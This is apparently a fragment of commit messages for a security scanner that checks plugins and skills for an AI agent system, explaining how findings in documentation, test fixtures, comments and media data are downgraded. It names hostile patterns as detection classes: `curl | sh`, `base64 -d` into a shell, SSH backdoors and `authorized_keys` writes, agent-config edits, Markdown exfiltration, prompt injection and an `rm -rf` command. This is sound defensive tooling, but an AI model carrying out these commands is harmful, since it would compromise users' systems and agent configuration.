`.fsync(...)`. - base64_decode_pipe on a `tar c | base64 | base64 -d | tar x` transport round-trip; an embedded `base64 -d | tar x` payload keeps severity. - agent_config_mod on a localized "Updating AGENTS.md" UI string. - hermes_config_mod / ssh_backdoor as disclosed-behaviour notes in install docs / UI strings (mindgraph, memlock, hermes-ssh); shell writes stay critical. - is_ci_workflow now also covers .gitlab-ci.yml. Bumps PLUGIN_SCANNER_VERSION -> plugin-guard-v11 and SCANNER_VERSION -> skills-guard-v10 (cached verdicts are keyed on these; the bump un-blocks the quarantined packages). Complexity held under the ratchet by extracting `_inert_context_cap`. Scanner test suites green; added benign/attack invariant pairs for each class plus a version-contract test.
2026-10-11 04:09:30 -07:00
"is_trusted_installer_pipe",
2026-10-08 19:54:07 +02:00
"logical_line",
"prose_cap",
fix(plugins): install scanner scores inert context as context, not as plugin behaviour A plugin repository is a codebase, and the threat regexes were written for a SKILL.md the agent executes verbatim. The same text in a README uninstall step, a refusal list, a test fixture, a JSON scenery data URI, a redaction regex or a `gh api | base64 -d | grep` dev script was scored as the plugin's own runtime behaviour: crypto-prices (#115353) was hard-blocked by `rm -rf "$HOME/.hermes/plugins/crypto-prices"` in its README, and a dozen catalog pins sat at `caution` on fixtures and prose alone. `tools/plugin_guard_context.py` recognises each class of inert context and only ever lowers a finding; nothing is deleted and every finding stays in the report: - documentation prose (`.md/.txt/.rst/.html`, not `SKILL.md`, `after-install.md` or a bundled `skills/` tree): command/path shapes step down once, so a doc line can never be `dangerous`; the plugin's own-install-dir `rm` is a note. Injection, Markdown exfil, agent-config edits, `curl | sh`, `authorized_keys` and leaked keys keep full severity. - test trees / fixtures (root test dirs, `__tests__`/`__fixtures__` at any depth, `*.test.*`, `test_*.py`): quoted-only hostile strings and key-shaped corpora are notes; test code that executes on import steps down once (caution). - whole-line comments and CHANGELOG.md score as prose. - `encoded_exfil` on base64 whose decoded head is a media magic (PNG/JPEG/WOFF/PDF...) is informational. - `sudo` / `env|` as an alternation member inside a regex or string literal is a note; the same word in a command string is not. - `base64 -d` piped into a text filter is a note; into a shell/interpreter it is not. Bumps PLUGIN_SCANNER_VERSION to v5 so cached verdicts re-evaluate. Closes-blocker-for: #115353
2026-09-19 02:23:36 -07:00
]